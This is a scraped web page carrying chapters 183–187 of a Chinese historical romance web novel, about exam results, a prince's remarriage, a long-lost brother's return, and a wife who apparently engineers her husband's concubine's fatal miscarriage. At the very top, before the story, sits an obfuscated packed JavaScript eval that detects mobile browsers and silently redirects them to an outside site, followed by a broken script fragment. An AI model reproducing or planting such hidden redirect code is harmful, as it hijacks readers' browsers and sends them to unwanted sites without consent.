;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574254|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “嗐,是不是想得太多了?”她有些讪讪。 “想想怎么了,想想又不犯法。” “说得也是。” 过来上茶的萱妈妈听到这话,一阵欲言又止,最终还是选择什么都不说,装作没听见,放下茶盏就出去了。 家里的孩子们都在进学,大人们忙着上进赚钱抓生产。 春日里,京郊的庄子忙碌一片。 虞声笙又怀了身孕,自然精力不及从前,有时候一件事都要拆成好几日来办。 进度虽慢,但成效却很可观。 之前立威在先起到了很好的效果,今年庄子上各项事务都运转良好,还有一处庄子被闻昊渊提议,改成了专门养牛羊兔猪的畜牧庄子;这么一来,虞声笙日日都有新鲜的牛乳羊乳可用,还有各种送来的肉类。 小厨房里的妈妈们心灵手巧。 伺候她这段时日下来,早就将虞声笙的口味喜好摸得清清楚楚。 一道麻辣兔头成功取悦了当家主母。 她吃得快活,也辣得舒心。 原本还想劝劝她忌口,饮食清淡些的,黎阳夫人看她一改食欲不振、闷闷不乐,便也不说什么了。 孕妇嘛,能吃是福。 闻昊渊大喜,狠狠赏了厨房上下。 得到夸奖赏赐的众人,越发在吃食上钻研,一时间厨房里的奴仆们手艺层出不穷,极大地满足了虞声笙的口欲之福。 时光说快也快,说慢也慢。 闭门苦读约莫两个月,府试悄无声息地拉开了帷幕。 与春闱不同,参与府试的读书人都普遍年轻。 也不乏像昀哥儿、辉哥儿这样初出茅庐的少年。 但在绝大多数人看来,他们只是来凑数的,所谓先下场练练手,至于能不能中,全看天意——大概率是中不了的。 虞声笙安排了马车送他们过去,出门时还叮嘱了跟在左右的家丁婆子好些话,最后还是黎阳夫人不安心,打算同去。 谁知子平夫人一句话打消了黎阳夫人的顾虑。 子平夫人说:“仕途这条路还长着呢,这会子才只是考童生;往后还有秀才,举人,进士……他们都是男儿郎,哪能一辈子躲在长辈的护佑下?如何能长成独当一面的儿郎?” 这话深深触痛了黎阳夫人的心。 她想起了在乾州时孤独无依的绝望时刻。 于是那一日出门,昀哥儿、辉哥儿自行上了马车。 第183章喜讯传来 黎阳夫人也只是送到了门外,又问了两句纸笔可否带齐这样的话,最终挥挥手,告别了两个孩子。 虞声笙知道她心里多少有些放不下,便特地寻她说话。 黎阳夫人如何不明白她的细心,苦笑道:“还是先生说得对,我不可能一直照拂他……他总要长大成人的,一个男儿若不能自强自立,往后如何成家立业,又如何能给妻儿遮风挡雨。” “是啊,虽说万事开头难,但这也不是辉哥儿头一回去考了,还有昀哥儿在旁呢,做哥哥的自然会照顾着些弟弟。” 闻言,她抬眼,给了虞声笙一个宽慰的笑。 这一日考得还算顺利。 两个孩子归来后,叽叽喳喳说个没完。 一壶热茶都叫他们吃完了,还嫌不够。 虞声笙瞥了一眼昀哥儿,发现他脸颊红红,显然是很喜欢这样的考试。 大家伙围着他们俩说了一会儿,便各自去忙。 等到府试出成绩那一日,众人才被吓了一跳——威武将军府里的两位少爷一齐考过了,一齐成为了童生! 不仅如此,昀哥儿考得还特别不错,竟名列第三! 消息传来,黎阳夫人喜极而泣。 虞声笙也欢喜不已,只觉得面上有光。 很快虞正德来了书信,狠狠夸奖了一番——这两个孩子都是走的他的门路才能进澜麓书院读书,如今这么快就有了惹人注目的好成绩,他自然也倍感荣光。 为了庆贺,这天晚上府里摆了一桌酒菜,狠狠庆祝了一番。 原本性子有些清冷的子平夫人也很给面子,与丈夫一道过来吃了两杯水酒,又叮嘱了两个哥儿几句,这才离开。 她刚走,昀哥儿就凑到虞声笙耳边:“那位蔡先生很厉害。” “你怎么知晓?” “他帮我和辉哥儿押题了。” “押中了?” “嗯。”昀哥儿用力点点头,眼里都是服气和敬佩。 虞声笙恍然大悟——原来能考得这样顺,是有原因的呀! 虽说科考一步步都不容易,读书上进、腹有才学是一回事,但运气也很重要;细数历次科举,有的是才学惊人却名落孙山的倒霉蛋,更有那一考就是几十年,双鬓花白了才荣登科榜。 这都算好的了。 虞声笙沉思片刻,当晚与闻昊渊商议了一番,翌日便与黎阳夫人备了厚礼去感谢蔡先生。 子平夫人没有推辞,收下了礼物。 蔡先生颇有些窘促:“其实也没什么,不过是我恰巧知晓今年阅卷官员的喜好,便一时手痒帮他们押了一回,也是他们俩运气好,一押就中。” 子平夫人却道:“何必妄自菲薄,旁人怎么不能一押就中呢?还是你有能耐有本事,这些东西都是你应得的。” “都给夫人保管便是。” 虞声笙瞧得啧啧称奇。 果然天底下相处和谐、琴瑟和鸣的夫妻各有自己的相处之道,并非一个模子套下来的。 昀哥儿出了好成绩,这消息不胫而走,很快引来了瑞王府的人。 与之前来时不一样,这一回瑞王可谓兴高采烈,满脸喜色,恨不得将昀哥儿立时三刻就带回自家府里,逢人就介绍:“这是我的亲儿子,没错,就是前不久一举拿下第三名的童生。” 然后后头加一大串追叙,什么年纪小,左不过十一二岁,还是头一次参考,一考就考中了云云。 瑞王是真的高兴。 可他身边跟着江姨娘就未必了。 虞声笙一眼看出对方的笑容浮于表面,很虚很假。 又看了看他们带来的礼物,除了那些个给昀哥儿吃穿嚼用的名贵物件之外,还有满满两屉的金锭子。 她也没推辞,二话没说收下。 见她这么不客气,江姨娘面上闪过不快。 虞声笙当机立断地表示,这些金锭子一分为三,一份虞声笙收下,一份留给昀哥儿,最后一份是要给蔡先生的。 当得知蔡先生的厉害,瑞王也佩服不已,表示对将军夫人的分配很是满意。 见自家王爷都这么说,江姨娘只好悻悻闭上嘴。 瑞王此番前来还有另一个目的。 他拉着昀哥儿积极培养感情,试探地提出想将昀哥儿接回王府。 昀哥儿却说自己想安心读书,不愿搬来搬去的。 而且在威武将军府,与辉哥儿作伴,又能日日去书院进学,回来后还能得蔡先生点拨,简直绝妙。 昀哥儿眨巴着黑白分明的大眼睛问父亲:“咱们王府有蔡先生么?” 这一问,可把瑞王给问哑然了。 但很快瑞王又快活起来,因为昀哥儿说的是“咱们王府”。 “说的是,你就安心留在这儿读书,我空了就来瞧你。” “也不必来得太频,我每日要学的东西太多了,怕也没什么空陪你。” 瑞王:…… 黎阳夫人:…… 虞声笙:…… 孩子,你是不是太直白了些?伤了一颗久违的老父亲的心呀。 不过好在瑞王见惯了风浪,倒也没有太往心里去。 只要昀哥儿争气,他不怕儿子不认自己这个爹。 欢欢喜喜坐着吃茶说话了好一会儿,后头闻昊渊还赶了回来,索性留了瑞王在府里用晚饭;刚好想与儿子好好亲近亲近的瑞王只觉得正中下怀,忙不迭地应了。 直到月升中庭,这顿晚饭才散席。 心满意足地瑞王携江姨娘离去。 马车轻轻摇晃着,瑞王还未散去酒气,他眯着眼睛快活地盘算着一切。 等了这么久,总算等到了一个出众的儿子,他自然开心。 江姨娘憋闷了一整日了,总算有了说话的机会:“为何王爷今日不提?那可是咱们的儿子呀,却与旁人那样亲近,妾身瞧他眼中全无半点我这个做娘的!” “好了。”瑞王的好心情被打断,有些不耐。 “什么好了,那是咱们府里的儿子,为何留在威武将军府?您又不是没瞧见,这些时日凭着咱们儿子的能耐,可叫他们府里着实风光了一把,也不想想那两个孩子哪一个是他们闻家的种?” 江姨娘越发不快,话越说越过分。 “那澜麓书院的进学名额是人家将军夫人的父亲从中走动才有的;那蔡先生,更是将军夫人做主请来府中的;你如今光看着出成绩了,便想将人家的功劳一并抹去,这像话么?” 瑞王蹙眉,但还算语气温和,耐着性子与她解释。 江姨娘咬着唇:“那也不耽误王爷您开口啊,直接让昀哥儿回来,他还未认祖归宗,不管是记在我名下,还是记在已经过世的王妃姐姐的名下都成!总不能这样没名没分地流落在外!” 瑞王沉思片刻。 她还要继续说,却被他打断。 “你无须再言,这事儿我自有打算。” 江姨娘瞅见他面色不对,只好咽下没说完的话,不快地绞着手中的帕子。 转念一想,这昀哥儿明面上就是自己的孩子,还愁回不来么? 她便又放缓了神色,一脸傲然。 没过半月,闻昊渊带回来一个重磅消息。 “什么?!你说……瑞王想要重立正妃?”虞声笙倒吸一口凉气,“什么时候的事情?” “今日在陛下跟前,瑞王直接开口提了的。” 第184章定了正妃人选 “王爷已有人选了?” “嗯。”闻昊渊顿了顿,“荣昌侯府有一位孀居多年的千金。” 短短一句话,虞声笙就明白了。 这位荣昌侯府的千金也是个命苦倒霉的可怜人。 今年约莫二十七八了。 原先也有一门不错的亲事。 可谁知小定都下了,未婚夫却暴病而亡。 这样的望门寡京中高门大户都嫌晦气,哪怕荣昌侯府的门第够高,他家的姑娘嫁妆够厚,这位千金小姐的婚事还是被耽搁下来。 后来又听说这位千金其实对病故的未婚夫情分颇深。 哪怕父母相逼,她也不愿另嫁他人。 这一拖就拖了好些年。 虞声笙当时听说了,还瘪瘪嘴来了句:“要是个男人,保证不出半年就另寻他妇了。” 这番嘴快,还惹来了张氏一顿罚。 她记忆犹新。 瑞王年纪也不小了,这荣昌侯府的千金与他在年纪上倒也相配。 况且这么多年过去,想必这位千金也会改了主意。 人都是会变的,再说了,瑞王正妃这个位置简直堪比香饽饽。 果然,闻昊渊刚跟她说了这事没多久,很快宫里的指婚就下来了。 瑞王与荣昌侯府千金得陛下明旨赐婚,将于六月十七正式完婚。 消息传来,最开心的莫过于荣昌侯府的二老,以及长兄长嫂。 流水一般的聘礼抬入荣昌侯府,一时间这段佳话人人相传,成了京中最时兴的谈资。 让虞声笙没想到的是,因这件事最先被冲击的居然不是江姨娘,而是郭文惜。 这位郭姑娘来拜访时,小脸垮得很,闷闷不乐。 虞声笙让金猫儿换了她喜欢的茶点来。 见着好吃食好茶水,郭文惜才打开了话匣子。 原来是郭大太太一直在念叨她的婚事,乍一听闻那位嫁不出去的老姑娘都有了这样好的着落,她越发叨叨个没完,可把郭文惜烦得头都大了。 岚珠在一旁笑道:“夫人有所不知,这些日子我们姑娘可没少烦心。” “好个坏妮子,连你也瞧我笑话!” “姑娘别气,奴婢哪敢呀,奴婢只是心疼您。”岚珠轻轻一笑。 “婚缘自有天定,也不必着急,你看看我不就知晓了?” 虞声笙拿自己做例子,听得郭文惜眼前一亮。 没错,谁说婚事就一定一帆风顺呢? 不怕一波三折,只要最后否极泰来就成。 郭文惜本就不是自怨自艾的性子,与虞声笙说了两句,便将心思放开了。 后来再见,便是在昌夫人办的宴饮上。 昌夫人多年闭门不出,专心礼佛,其实在豪门女眷中的人脉还是有的。 难得的宴饮,自然吸引了各府的贵妇千金们。 虞声笙这会子已经怀相稳定,且昌夫人府上距离将军府也不算很远,她正愁没借口出门逛逛,这宴饮的名帖一送来,她立马就应了。 闻昊渊不放心。 安排了比平日多一倍的奴仆跟着,还随车安排了一位府医,堪称滴水不漏。 郭文惜乍一见这排场,连连咂舌。 被身边的母亲瞪了一眼。 郭大太太却见怪不怪:“这有什么的,这才是一品军侯府该有的派头;你年轻,不曾见过从前的风光,若那位闻家大小姐还在,不会比今日这排场小。” 昌夫人亲自相迎。 握着虞声笙的手,将她迎进正厅。 众人一见昌夫人待她格外不同,又是好奇又是亲热,都想上来与虞声笙攀谈寒暄。 昌夫人道:“我与将军夫人一见如故,乃忘年交的情分;今日她也是瞧着我设宴,不忍拒绝,是以怀着身孕就来了;你们可不许烦了她,让她累着,否则我这主家头一个不答应。” 众人忙笑着迎合,再看虞声笙的眼神都变了。 角落里,徐心敏惊讶极了。 万万没想到,这从前不被看好的虞四居然不声不响地攀上了京中贵妇的高枝,能与她们坐在一处,自在说笑,当真让人羡慕至极。 一场宴饮结束,众人都觉得虞声笙温柔恬淡,言辞明快诙谐,对她印象极好。 徐心敏没有回府,而是绕去了镇国将军府探望姐姐。 姊妹二人在闺中关系就一般。 这会子各自成婚了,反倒常来常往了些。 徐诗敏是有点烦妹妹隔三差五地过来,但又觉着妹妹时常来,也能体现出她们姊妹情深,家和情浓。 矛盾的情绪汇聚在她的心坎,便让她的笑容看起来颇有些言不由衷。 徐心敏不慌不忙说了今日所见所闻。 还没说完,姐姐的脸就黑了。 “能不能别提她?”徐诗敏隐忍着声音。 “姐姐之前不是总喜欢围着人家转么?甚至不惜把妾室带去外头,也要给人家一个下马威,怎么这会子却不愿提了?”徐心敏笑道。 真是哪壶不开提哪壶。 “你没别的事就赶紧回去吧。” “姐姐怎么还气上了,仔细身子。” “我哪里有生气,不过是瞧你成婚至今肚子都没反应替你着急。” “你——” 这对姊妹说不到两句就翻脸。 同样翻脸的,还有瑞王府里的王爷与姨娘。 江姨娘是最后才知晓王爷要娶新妇的人。 一纸赐婚的旨意送到王府,江姨娘呆呆地跪在瑞王身后一同接旨,人都已经傻了。 待传旨的小太监离去,她再也忍不住,哭嚎出声:“王爷这般,将妾身置于何地?” 瑞王听得莫名其妙:“你还是做你的姨娘,有什么不对的吗?” 江姨娘被噎得不轻,一时间也说不出反驳对方的话。 是啊,瑞王失去正妃已有数年,如今另娶续弦不是再正常不过? 是江姨娘过惯了这些年的好日子,总觉得独自掌控王府内宅已是天经地义的事情,压根没想到瑞王还能另娶。 瑞王老辣。 大约是早就猜到江姨娘的做派,直接入宫请旨。 有圣旨在头顶上压着,江姨娘就算有一百个胆子也不敢在明面上闹腾。 跟男人拉扯情分,情分又不够;说名分,又张不开这口。 悲愤交加,万般无奈,她索性将自己关在房中,将原先缝制的香囊荷包等物统统用剪子绞得稀烂。 丫鬟们收拾残局时不小心被王爷身边的小厮瞧见了。 小厮又悄悄回禀给瑞王。 瑞王听后,眉眼未动:“女人家的把戏,不必再来与本王说,给她送点料子,让她慢慢绞。” 江姨娘见到成堆的料子,差点没把嘴巴给气歪了。 春日和暖,正适合养身子。 虞声笙忙完府里的庶务就歪在榻上,眯着眼睛晒太阳。 一纸书信就在这个时候送了进来。 她看完后,精神一振,吩咐道:“去给将军传信,让他尽快赶回;还有,去把露娘请来。” 很快,露娘就到了跟前。 虞声笙开门见山:“你之前说的遇到过的那位情郎,目前有了下落,你可愿去见见?” 露娘一愣。 猛地抬眼,她的眸光中已经闪过一片泪水。 “愿意。”她频频点头,泪珠簌簌滚落。 半个时辰后,闻昊渊回来了。 一同回来的,还有另一个陌生的人。 他一身粗布衣衫,头发虽打理过,但依然显得凌乱,一双眼睛似乎呆滞,但难掩久经沙场之人与生俱来的森冷莽撞。 第185章凯旋 露娘一见他,先是不敢认。 目光上上下下不断观察着,小心翼翼的步子也越来越近。 最终她像是认了出来,捂着口鼻不敢大声呼吸,泪水决堤,哽咽不断:“你、你个死人,你还晓得回来……” 虞声笙与丈夫对视一眼,默契地离开房中,空出单独的空间给他们二人。 廊下院外,依然能听见露娘那隐忍的哭泣。 虞声笙叹息:“那人是……大哥?” “嗯。”闻昊渊神色复杂,紧绷的周身松缓下来,好像解决了一件心头大事,“我派去的人在平家镇找到他的,他受伤很重,人也记不太清从前的事情了,但他还记得自己的名字,口中也一直唤着露娘的名字。” 闻言,她一阵唏嘘:“老天保佑,总算没叫大哥彻底流落在外,福泽深厚之人,总有相聚的一日。” 闻昊渊抬手理了理妻子耳边的碎发:“大哥的事情牵扯很广,还好我们已经在陛下跟前过了明面,还算好些。” “有什么事你与我说。” 她抬手捧着他的掌心,抬眼微微一笑。 “好。” 闻昊渊的大哥名叫闻图,字青山。 听着文绉绉的名字,却配了最能打的武将。 根据闻昊渊的说法,他小时候练武没少被大哥教训过,至今身上还留着当初不好好练武偷懒去玩,而被兄长教训留下的痕迹。 虞声笙想起来了,顿时倒抽一口凉气:“他下手这么狠的么?” “也多亏了大哥的严格,不然历经沙场,向来都是生死一线的,我又怎能从容应对。”闻昊渊心态是真好,还笑眯眯地宽慰她。 她没打过仗,也没去过前线。 对于不了解的事情,没有什么发言权。 既然男人自己都不觉得委屈,她也不会为了过去的事情心疼。 闻青山缺失了很多记忆,但却认得自己的弟弟和露娘。 可见露娘当初所言并非虚假。 虞声笙给大哥房中配了照顾的丫鬟和婆子,露娘都只让她们做些杂事,但凡涉及到闻青山的饮食起居的照顾,她必亲力亲为,绝不假手于人。 虞声笙看着,都觉得自愧不如。 要她这样照顾闻昊渊,怕是下辈子都没这样的体贴入微。 短短几日下来,露娘便瘦了一圈。 她根本不以为意,反而觉得能这样贴近自己的心上人是最幸福的事情,哪怕瘦了,她依然日日带着笑容。 虞声笙观察过,这笑容不是假的。 露娘是真心高兴。 闲来无事,算算天机运道,虞声笙又给露娘和闻青山算了一卦姻缘。 闻昊渊好奇追问如何,她无奈摇摇头:“姻缘线本来很弱,却因为机缘造化而又重新连上了,这缘分啊……本就难说的。” 她没有说明的是,按照卦象上的显示,真正撮合他们的人竟然是虞声笙自己。 难怪玉浮那老头一开始就说过,卜算起卦并非预知,只是引导人一个未来的方向,机缘天定,可也有人定胜天的说法,凡事没有绝对。 等闻青山养了一段时日,闻昊渊领着他秘密进宫面圣。 至于在皇帝跟前说了什么,虞声笙很聪明地没有问。 要是能说,闻昊渊不会瞒着她。 这一趟回来后,很快京中的人都知晓威武将军府的大哥死而复生,又顺利回府。 原先虞声笙觉得,这不过是兄弟重逢的感人好戏。 冷冷清清的府邸里又多了一位主子。 她也多了一个亲人。 这是好事。 可万万没想到,总有些心术不正的人乱嚼舌根。 就比如后来不久的雅集宴会上,有那按捺不住的人到虞声笙跟前不怀好意地旁击侧敲,问什么将军府的兄长回来了,那将军府的爵位是不是该物归原主。 虞声笙这会儿才反应过来。 原来过往那些时日经历的阴阳怪气都是真的。 外人都在等着看将军府兄弟俩为了袭爵一事打起来。 更有提前就看笑话的,说什么我朝规矩长幼有序,既然大哥回来了,就该是做弟弟的让到一边,这才是尊卑分明。 这话听得虞声笙一阵冷笑。 是以后来就没再忍着,直接反呛回去。 “你这么大胆子的么,真看不出来啊,下旨命我家夫君袭爵的人是皇上,你这是对皇上的旨意不满,想抗旨吗?” 轻飘飘的一句话,说得满屋子女眷脸色都变了。 谁也不敢跟刚刚乱嚼舌根的妇人搭话了,众人纷纷散去。 郭文惜冲着她竖起大拇指:“好姐姐,你是这个。” 她也烦这些话多的妇人,偏她未出阁,不好在外表现得太泼辣,不然早就开口了。 虞声笙可不惯着,谁来就呛谁。 次数一多,那些太太奶奶私底下没少议论。 说虞四如今到底是有人撑腰了,说话都这么硬气。 传到徐诗敏耳中,这就有点不是滋味了。 反观自己,哪有半点被人呵护娇宠? 怀着身孕,还要兼顾允姨娘,还要去给公婆请安。 这段时日慕淮安也不在府中,她隐忍的愤怒可想而知。 就在徐诗敏快要看不惯虞声笙这般嚣张时,慕淮安成功平定匪乱的喜讯传回京城,惹得圣心大悦,皇帝在朝堂之上连连褒奖。 隔了两日,慕淮安领兵班师回朝。 奉圣命候在东华门外领了赏赐。 如此高调风光,一下子便将威武将军府这边压了下去。 徐诗敏立马开心起来,命丫鬟们收拾厢房床褥,又点上了孕妇能用的香饵,将整个卧房布置得温馨雅致,就等着男主人归来。 慕淮安回府后,先去拜见了祖父和爹娘。 见他如此出息,建功立业,荣耀凯旋,镇国将军府的长辈们都喜笑颜开。 尤其慕大太太。 她笑得嘴角都合不拢了。 拉着自己的好大儿上上下下地看着,一双慈爱的眼睛里写满了不舍和骄傲,她用帕子拭泪:“回来了就好,回来了就好,娘不指望你在外头如何风光,只求你平平安安。” 这话成功惹得慕家父子俩的白眼。 正是好光景呢,说什么丧气话? 但气氛太好了,慕仲元忍了忍也就没说。 慕淮安问起自己不在时府里的情形,慕大太太一一说了。 话题不知怎么的,转到了威武将军府上,慕淮安脱口而出一句:“我听说虞声笙怀孕了,刚好我带了特产过来,烦劳母亲送过去给她,都是孕期妇人爱吃的蜜饯等物,还有些药材也是不错的,上回诗敏莽撞登门求药,这人情咱们该还了。” 慕大太太一愣,忙不迭地应下:“好。” 门外,刚巧赶来徐诗敏将这些话尽收耳底。 俏丽圆润的脸上一片煞白错愕。 盈袖眼疾手快,将她胳膊稳稳扶住,轻声在其耳边提醒:“奶奶,咱们到了。” 徐诗敏这才强忍情绪,咬着牙站稳了。 又过了一会子,等心绪平息后,她才让丫鬟通传。 “大奶奶来了。” 徐诗敏跨门而入,笑盈盈地到了丈夫跟前。 只是她的眼底没有半点喜色,嘴角的弧度也过于刻意,显得有些张扬。 只可惜,除了盈袖,无人察觉。 当晚,慕淮安歇在了徐诗敏处。 久别重逢,自有别样的亲热。 翌日一早,徐诗敏便让人将慕淮安带回来的东西分去了一份给允姨娘处。 第186章人命 花厅内,虞声笙看着眼前堆满的礼物有些回不过神来。 “谁送的?”她又问了遍。 “夫人,是镇国将军府的太太送来的。”今瑶又重复了一遍,还索性把话说得更明白,“就是夫人您的义母呀。” 虞声笙:…… “送了什么东西来?” “熊掌、鹿茸、人参……还有些个奴婢都没见过的,这是礼品单子。”金猫儿直接将长长的一张纸送到虞声笙跟前。 接过细细一瞧,她心里有数了。 都是些珍稀药材,还有些孕产妇能用得到的东西。 不得不说,这份礼品单子真的是用心了。 完全不像慕大太太从前的风格。 “点点清楚入库吧,有些药性容易散的就留下来,回头让府医制成药膏、药丸子什么的先放下来,别白白藏在库房里,回头都给忘了。” 丫鬟们领命,一一退下。 从头到尾,虞声笙就没想过这礼品单子是慕淮安的手笔。 不过是借着慕大太太的名义送来,好让她无法拒绝。 长者赐,不能辞,她收下好意,回头补一份回礼就行。 她的性子就是做事不愿拖拖拉拉的,让金猫儿入库的同时,便从库房中选了几样价值相当的礼物送去了镇国将军府。 其中便有一尊白玉雕琢的送子观音像。 足有一尺多高,玉质温厚,精美绝伦。 且他们府中就有两个怀孕的妇人,见到这个,慕大太太欢喜不已,立马就请了人将这尊佛像供了起来,日日香火不断。 慕大太太的想法很简单。 不论嫡庶,先要有个孙儿抱在手里才是要紧。 允姨娘的月份要比徐诗敏的大一些,是以会早日生产。 等徐诗敏这一胎瓜熟蒂落,男孩也好女孩也罢,都会是府里最最得宠的孩子。 就在慕大太太满怀期待中,允姨娘落胎了。 那是一日午后,丫鬟匆匆来报,说是允姨娘午休时见红了,人这会子已经昏迷不醒,榻上全是血。 慕大太太正在午睡,一听这话脑瓜子嗡嗡的,忙不迭起身,慌乱地让人去请府医,自己则脚不沾地地过来儿媳院中。 徐诗敏还在别处料理庶务,人不在。 一院子的丫鬟都六神无主,慌作一团。 府医还没到,慕大太太先去房中瞧了一眼。 掀开被褥,却见允姨娘下身鲜红,触目惊心,再瞧她昏迷不醒,连唇色都隐隐发白,哪里是午睡正酣,分明是落胎导致的昏厥。 慕大太太是过来人,这一眼就心中有数了。 这一胎怕是没了。 徐诗敏得到消息赶回来,与府医几乎是前后脚进门。 慕大太太不准她去允姨娘的房中,只让她回屋好生歇着。 “这里有我呢,你有什么不放心的?还不赶紧去躺着。” “可……” “要是这一胎保不住,也是她自己没福气,你如今先紧着自己的肚子才是要紧,别光顾着料理妾室。”慕大太太一番话说得徐诗敏无法反驳,只能乖乖听从。 她回了正屋,命人关上门窗。 任凭外头闹得如何,她都充耳不闻。 待身边丫鬟尽数退下,只留盈袖,她才缓缓开口:“都收拾干净了吧?” 盈袖目中有警惕,点点头:“奶奶放心。” “好。”徐诗敏深吸一口气,像是解决了一个心腹大患,面上是说不出的慵懒懈怠,“且看她有没有这个福气吧,我瞧她像是命薄的。” 盈袖垂眸,没敢吭声。 到了下午晌,府医无力回天,宣告允姨娘这一胎彻底保不住了。 待慕淮安回来,又是一个糟糕的消息——小产导致血流不止,允姨娘就这么香消玉殒了。 听到小厮的回话,慕淮安面上一阵错愕。 早晨出门前,他还是在妻妾的陪伴下用的早饭。 这晚上归来,其中一人已经阴阳相隔。 半晌,他说:“好生安葬了吧。” 徐诗敏哭红了眼睛,一个劲地自责:“都是我不好,允姨娘在我院中,合该我负责照顾的,怎就在我的眼皮子底下出了这样的事……” 她哭得激动悲伤,任谁见了都不忍。 何况她自己还是孕妇。 慕大太太虽难过,但想起自己还有另一个希望,忙不迭地又去宽慰儿媳,生怕她因过于激动伤着身子。 “不过一个上不了台面的小星,命苦福薄,也是她自己不争气,你犯不着这样难过,万一动了胎气你让我与你爹爹,还有淮安这日子怎么过?” 徐诗敏在婆母的关怀下,总算渐渐止住了哭泣。 慕淮安问:“大夫怎么说?” “只说是血行不畅,又说这一胎可能本就有问题,月份越大越危险,只不过早起诊脉时无法察觉,这本就是稀罕事,不凑巧发生在她身上罢了。”慕大太太说着,一阵唏嘘。 “就没有旁的不对?”慕淮安又问。 徐诗敏用帕子拭泪,闻言动作略顿了顿。 “还有什么旁的不对?”慕大太太诧异。 “说不定……是有的。”徐诗敏抬眼,“母亲忘了么,咱们府中先前请来的那尊送子观音像,自从请了来,家中就出了这样的事;虽说怪力乱神的事情不好说,可儿媳心中总是惴惴不安,若没有这尊送子观音像,或许允姨娘这一胎还能保得住。” 话音刚落,她又吓得轻轻掩口,“是儿媳失言,儿媳年轻什么都不懂,还是母亲说了算吧。” 慕大太太一听,也心生疑窦。 有些事情就是这样,一开始没人提,也就这么过去了。 怀疑的种子一旦种下,甚至不需要假以时日,便能抽枝发芽,越长越大。 “咱们府里不必说这些不着调没证据的话。”慕淮安眉色沉了沉,“一尊观音像而已,能做什么?” 徐诗敏垂眸不语。 慕大太太却道:“话也不能这样说,我觉着诗敏这话也对,有些事情或许就这么巧,我说呢……难怪当日与这虞四婚事不成,反倒给你连累了一堆麻烦事,如今瞧来这丫头还是在克你,当日没成婚是对的。” “娘!” “这次受损的,是你的骨肉,娘不能不在意。” 慕大太太像是打定了什么主意似的,“这送子观音像不能要。” “那你想如何,给人家送回去?那不是打人家的脸么?”慕淮安有些不耐了。 “不如毁了吧。”徐诗敏温婉提议,“母亲只管交给下人去办,这事儿咱们府里自行解决就成,不必传到外头去。” 这话滴水不漏,就连慕淮安都挑不出错。 最终,慕大太太还是同意了儿媳的提议,交给身边一个婆子去料理。 大约是院子里出了人命,晦气不吉利。 慕淮安歇在了书房。 而徐诗敏也挪去了另外一边的院子安置。 新住处要料理的事务繁多,丫鬟婆子以及管事妇人们奔走劳碌,停不下来。 谁也没注意,一个不起眼的小丫头怀抱着一只灰突突的匣子从偏门悄悄快步而入,很快进了徐诗敏的正房。 盈袖接过,又给了那小丫头一把大钱,以及一碟子果子。 小丫头欢天喜地。 徐诗敏抹着香膏,瞥了眼:“拿来了?” 盈袖打开匣子,里头赫然静静躺着一尊送子观音像。 第187章心狠手辣 徐诗敏的妆台正对着朝西的窗棱。 这会子正是春日和暖的时候,哪怕傍晚时分吹进来的凉风依旧带了几分白天里的温暖。 清风浮动,吹起她额角的碎发。 镜中的女子依旧花容月貌,楚楚风姿。 与婚前的少女并无二致。 可那眉眼间的疏离冷漠,残忍森然,已经让她看起来像是另一个人。 格外陌生。 盈袖瞧了一眼,飞快挪开视线:“奶奶,咱们这是要……” “哼。”徐诗敏抬手细细摸了摸那尊观音像,“当真是好东西呀,便是我在娘家在咱们府里,也难得见到这样好的。” “这样好的东西那个贱人配用?” 最后一句落在了尖锐刻薄上,听着格外刺耳。 徐诗敏猛地将匣子合上,“把这东西先收着,等来往送礼时再悄悄藏入匣子里一并送去。” “要、要送给谁?” “当然是送去威武将军府。”她有些意外地扫了一眼盈袖,“这还用说么?这样好的东西,自然要物归原主。” “可太太不是说了……” “你是谁的丫头?向着谁说话?” 短短两句,成功让盈袖闭上嘴。 徐诗敏又从妆奁中摸出一支镶嵌着珐琅珠花的小夹子,轻轻抿在了鬓角边,对着镜子笑得格外畅快。 镇国将军府怀孕小妾惨死一事根本瞒不住。 本来妇人怀孕生子就是极为凶险之事。 便是在皇庭中,有太医全程照看着,也难保万无一失。 更不要说府中一个不起眼、上不了台面的小妾了。 当虞声笙得知与自己相似的允姨娘骤然离世,连肚子里的孩子都没能保住,也是一阵唏嘘。 今瑶抿了抿嘴角:“虽说那姨娘瞧着妖妖娆娆,不讨喜的模样,但就这么没了,也太……嗐!” “高门府邸的妾可没那么好当。”虞声笙感叹。 要是遇上张氏这样不屑于用低劣阴毒手段的主母,那还算好的;张氏虽不喜府里的那些妾室姨娘,但从未在明面上苛待过,她更会照拂这些庶出子女。 也是因为深知张氏为人靠得住,虞正德在妾室这个问题上,与妻子站在一处。 可很明显,哪怕慕淮安身为独当一面的小将军,在处理内宅这些事情上,根本不及虞正德,连一半都没有。 金猫儿闻言,直截了当道:“谁家好姑娘愿意做妾的?便是咱们这些个下人,往后若能得夫人开恩配人,我也想寻个平头正脸、有来历的、知根知底的人家嫁过去,做个正房老婆岂不快活?” 金猫儿少有这样干脆利落的时候。 未出门的姑娘家这样大大方方说起自己的婚事,她半点不羞涩,就是耳根微微泛红。 这样的金猫儿让虞声笙很是赞赏。 自己的事情还是要自己来做主。 就算在这内宅中,被各种条条框框圈死了,也该为自己发声,哪怕是一辈子不嫁人,也好过当个妾室受人拿捏摆弄。 虞声笙一时间觉得自己想远了。 各人有各人的缘法。 若是真有那嘴都糊不上的,当然是愿意去家底殷实的人家为奴为妾,起码吃穿不愁。 人呐,果然只有解决了温饱,才能谈尊严。 她在胡思乱想的时候,又听金猫儿说起了另一桩事。 这事儿正是张氏身边,那个唤作珍珠的大丫鬟的。 珍珠原本与金猫儿一道伺候张氏,自打金猫儿去了虞声笙房里,珍珠就成了张氏身边头一等的大丫鬟。 能跟在太太身边做事,这风光能耐可想而知。 只要珍珠好好的,以张氏的脾性必不会亏待了她。 可她偏偏……看上了虞正德的一位下属,读书人出身,瞧着文质彬彬的。 